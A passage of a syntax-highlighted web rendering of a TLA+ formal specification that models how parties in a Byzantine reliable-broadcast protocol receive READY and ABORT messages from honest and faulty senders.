&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;268&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;269&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;¬∃&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;270&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;271&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_ready EXCEPT ![p] = @ ∪ {⟨h, sent_ready[h]⟩}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;272&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;273&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;274&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;limited&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;interesting&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;275&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveReadyValueFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;276&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;277&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;278&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;¬∃&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;279&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;InterestingReadyValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;280&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_ready EXCEPT ![p] = @ ∪ {⟨f, v⟩}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;281&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;282&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;283&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;284&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveReadyBottomFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;285&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;286&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;287&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;¬∃&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;288&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_ready EXCEPT ![p] = @ ∪ {⟨f, Bottom⟩}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;289&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;290&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;291&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;292&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReceiveReadyFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;293&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReceiveReadyValueFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;294&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReceiveReadyBottomFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;295&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;296&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;ABORT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;297&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveAbortFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;298&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;299&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;300&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∉&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;301&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;302&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_abort EXCEPT ![p] = @ ∪ {h}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;303&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;304&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;305&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Receive&lt;/span&gt; &lt;span class="n"&gt;ABORT&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;any&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;306&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveAbortFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;307&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;308&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;309&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∉&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;310&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [rcvd_abort EXCEPT ![p] = @ ∪ {f}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;311&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send_vars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;312&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;313&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReceiveAbort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;314&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReceiveAbortFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;315&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReceiveAbortFromFaulty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;316&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;317&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Receive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;318&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReceiveEcho&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;319&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReceiveReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;320&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;ReceiveAbort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;321&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;322&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;323&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;Party&lt;/span&gt; &lt;span class="n"&gt;Actions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;324&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;325&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;326&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;E1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;SEND&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;327&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
